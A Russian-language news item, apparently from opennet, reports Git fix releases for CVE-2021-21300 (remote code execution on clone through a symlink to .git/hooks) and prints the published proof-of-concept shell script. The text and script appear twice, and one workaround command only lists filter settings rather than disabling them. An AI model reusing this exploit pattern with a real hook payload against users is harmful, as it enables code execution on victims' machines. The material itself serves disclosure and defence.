Опубликованы корректирующие выпуски распределённой системы управления исходными текстами Git 2.30.2, 2.17.6, 2.18.5, 2.19.6, 2.20.5, 2.21.4, 2.22.5, 2.23.4, 2.24.4, 2.25.5, 2.26.3, 2.27.1, 2.28.1 и 2.29.3, в которых устранена уязвимость (CVE-2021-21300), позволяющая организовать удалённое выполнение кода при клонировании репозитория злоумышленника с использованием команды "git clone". Уязвимости подвержены все выпуски Git, начиная с версии 2.15.
Проблема проявляется при использовании отложенных операций checkout, которые применяются в некоторых фильтрах очистки, например, настраиваемых в Git LFS. Эксплуатация уязвимости возможна только в файловых системах, не различающих регистр символов, но поддерживающих символические ссылки, таких как NTFS, HFS+ и APFS (т.е. на платформах Windows и macOS).
В качестве обходного пути защиты можно отключить в git обработку символических ссылок, выполнив "git config --global core.symlinks false", или отключить поддержку процессов-фильтров при помощи команды "git config --show-scope --get-regexp 'filter\..*\.process'". Также рекомендуется избегать клонирования непроверенных репозиториев.
Дополнение: Опубликован прототип эксплоита:
#!/bin/sh
git init delayed-checkout &&
(
cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
>.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
) &&
git clone delayed-checkout cloned
Источник статьи: https://www.opennet.ru/opennews/art.shtml?num=54730
Проблема проявляется при использовании отложенных операций checkout, которые применяются в некоторых фильтрах очистки, например, настраиваемых в Git LFS. Эксплуатация уязвимости возможна только в файловых системах, не различающих регистр символов, но поддерживающих символические ссылки, таких как NTFS, HFS+ и APFS (т.е. на платформах Windows и macOS).
В качестве обходного пути защиты можно отключить в git обработку символических ссылок, выполнив "git config --global core.symlinks false", или отключить поддержку процессов-фильтров при помощи команды "git config --show-scope --get-regexp 'filter\..*\.process'". Также рекомендуется избегать клонирования непроверенных репозиториев.
Дополнение: Опубликован прототип эксплоита:
#!/bin/sh
git init delayed-checkout &&
(
cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
>.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
) &&
git clone delayed-checkout cloned
Источник статьи: https://www.opennet.ru/opennews/art.shtml?num=54730